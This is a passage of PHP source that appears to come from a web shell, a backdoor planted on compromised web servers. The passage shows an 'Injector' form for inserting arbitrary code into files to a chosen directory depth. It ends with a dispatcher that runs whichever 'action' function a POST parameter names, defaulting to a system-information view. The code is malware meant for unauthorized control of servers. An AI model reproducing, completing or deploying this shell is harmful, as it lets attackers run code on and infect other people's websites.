1788 <option value="xml">XML</option>
1789 <option value="txt">TXT</option>
1790 </select></td>
1791 </tr>
1792 <tr>
1793 <td class="title">Code Inject Depth : </td>
1794 <td>
1795 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
1796 <input type="checkbox" name="depth[]" value="1"/> 1
1797 <input type="checkbox" name="depth[]" value="2"/> 2
1798 <input type="checkbox" name="depth[]" value="3"/> 3
1799 </td>
1800 </tr>
1801 <tr>
1802 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
1803 </tr>
1804 <tr>
1805 <td colspan="2" style="text - align:
1806 center;
1807 ">
1808 <input type="hidden" name="a" value="Injector">
1809 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1810 <input type="hidden" name="p1">
1811 <input type="hidden" name="p2">
1812 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1813 <input style="padding:
1814 5px;
1815 width:
1816 100px;
1817 " name="submit" type="submit" value="Inject"/></td>
1818 </tr>
1819 </table>
1820 </form>';
1821 }
1822 echo '</div>';
1823 printFooter();
1824}
1825
1826if( empty($_POST['a']) )
1827 if(isset($default_action) && function_exists('action' . $default_action))
1828 $_POST['a'] = $default_action;
1829 else
1830 $_POST['a'] = 'SecInfo';
1831if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1832 call_user_func('action' . $_POST['a']);